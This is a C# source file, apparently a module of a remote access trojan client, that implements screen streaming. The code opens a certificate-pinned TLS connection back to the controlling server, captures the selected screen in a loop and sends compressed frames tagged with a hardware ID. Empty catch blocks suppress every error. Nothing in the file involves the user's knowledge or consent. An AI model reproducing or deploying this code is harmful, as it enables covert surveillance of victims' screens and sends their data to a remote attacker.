92 lines
3.9 KiB
C#
92 lines
3.9 KiB
C#
using Client.MessagePack;
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using Client.Sockets;
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using System.Drawing;
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using System.Drawing.Imaging;
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using System.IO;
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using System.Threading;
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using System.Windows.Forms;
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using System.Net.Sockets;
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using Client.Helper;
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using System;
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using Client.StreamLibrary.UnsafeCodecs;
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using Client.StreamLibrary;
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using System.Net.Security;
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using System.Security.Cryptography.X509Certificates;
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using System.Security.Authentication;
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namespace Client.Handle_Packet
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{
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public class HandleRemoteDesktop
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{
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public void CaptureAndSend(int quality, int Scrn)
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{
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try
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{
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Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
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{
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SendBufferSize = 50 * 1024,
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ReceiveBufferSize = 50 * 1024,
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};
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Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
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SslStream SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
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SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
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string hwid = Methods.HWID();
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IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
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while (Client.Connected)
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{
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if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected) break;
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Bitmap bmp = GetScreen(Scrn);
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Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
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Size size = new Size(bmp.Width, bmp.Height);
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BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
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using (MemoryStream stream = new MemoryStream())
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{
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unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);
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if (stream.Length > 0)
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{
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MsgPack msgpack = new MsgPack();
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msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
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msgpack.ForcePathObject("ID").AsString = hwid;
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msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
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msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length);
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SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length));
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SslClient.Write(msgpack.Encode2Bytes());
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SslClient.Flush();
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}
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}
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bmp.UnlockBits(bmpData);
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bmp.Dispose();
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}
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}
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catch { }
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}
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private Bitmap GetScreen(int Scrn)
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{
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Rectangle rect = Screen.AllScreens[Scrn].Bounds;
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try
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{
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Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
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Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);
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gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
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gfxScreenshot.Dispose();
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return bmpScreenshot;
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}
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catch { return new Bitmap(rect.Width, rect.Height); }
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}
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private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
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{
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#if DEBUG
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return true;
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#endif
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return Settings.ServerCertificate.Equals(certificate);
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}
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}
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}
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